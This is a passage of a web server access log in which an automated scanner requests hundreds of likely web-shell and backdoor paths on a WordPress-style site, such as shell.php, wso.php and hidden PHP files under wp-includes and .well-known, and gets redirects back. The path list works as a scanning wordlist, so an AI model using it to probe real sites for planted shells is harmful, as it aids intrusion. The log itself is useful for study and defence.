AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.119.197.250 - - [10/Apr/2025:11:00:31 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:32 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:32 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:32 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:33 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:33 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:33 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:34 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:34 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:34 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:35 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:35 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:35 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:36 -0400] "GET /wp-admin/css/colors/ocean HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:36 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:37 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:37 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:38 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:38 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:38 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:38 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:39 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:39 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:39 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:40 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:40 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:41 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:41 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:42 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:42 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:43 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:43 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:43 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:44 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:44 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:45 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:45 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:46 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:46 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:47 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:47 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:48 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:48 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:48 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:49 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:50 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:50 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:50 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:50 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:51 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:51 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:51 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:52 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:52 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:53 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:53 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:53 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:53 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:54 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:54 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:54 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:55 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:55 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:56 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:57 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:57 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:58 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:58 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:58 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:59 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:59 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:59 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:00:59 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:00 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:00 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:00 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:01 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:01 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:02 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:02 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:03 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:03 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:03 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:04 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:04 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:04 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:05 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:05 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:06 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:06 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:06 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 135.125.27.249 - - [10/Apr/2025:11:01:06 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.119.197.250 - - [10/Apr/2025:11:01:07 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:07 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:08 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:08 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:09 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:09 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:10 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:10 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:11 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:11 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:12 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:12 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:13 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:13 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:13 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:14 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:14 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:15 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:15 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:16 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:16 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:16 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:16 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:17 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:17 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:18 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:18 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:19 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:19 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:19 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:20 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:20 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:21 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:21 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:21 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:22 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:22 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:23 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:23 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:23 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:24 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:24 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:24 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:25 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:25 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:25 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:26 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:26 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:26 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:27 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:27 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:27 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:28 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:28 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:28 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:28 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:29 -0400] "GET /.well-known/file.php/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:29 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:29 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:29 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:29 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:30 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:30 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:31 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:31 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:31 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:32 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:33 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:33 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:34 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:34 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:34 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:35 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:35 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:35 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:36 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:36 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:36 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:37 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:37 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:38 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:38 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:39 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:39 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:39 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:39 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:40 -0400] "GET //wp-configs.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:40 -0400] "GET /wp-admin/network/index.php/02.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:40 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:41 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:42 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:42 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:43 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:43 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:43 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:43 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:44 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:44 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:45 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:46 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:46 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:46 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:47 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:48 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:48 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:48 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:49 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:50 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:50 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:50 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:50 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:51 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:51 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:51 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:51 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:52 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:52 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:53 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:53 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:53 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:54 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:54 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:55 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:55 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:55 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:56 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:56 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:57 -0400] "GET /wp-content/plugins/xt HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:57 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:58 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:58 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 135.119.197.250 - - [10/Apr/2025:11:01:58 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 135.125.27.249 - - [10/Apr/2025:11:07:19 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:13:59 -0400] "GET /wp-admin/css/colors/light/admin.php HTTP/1.1" 301 795 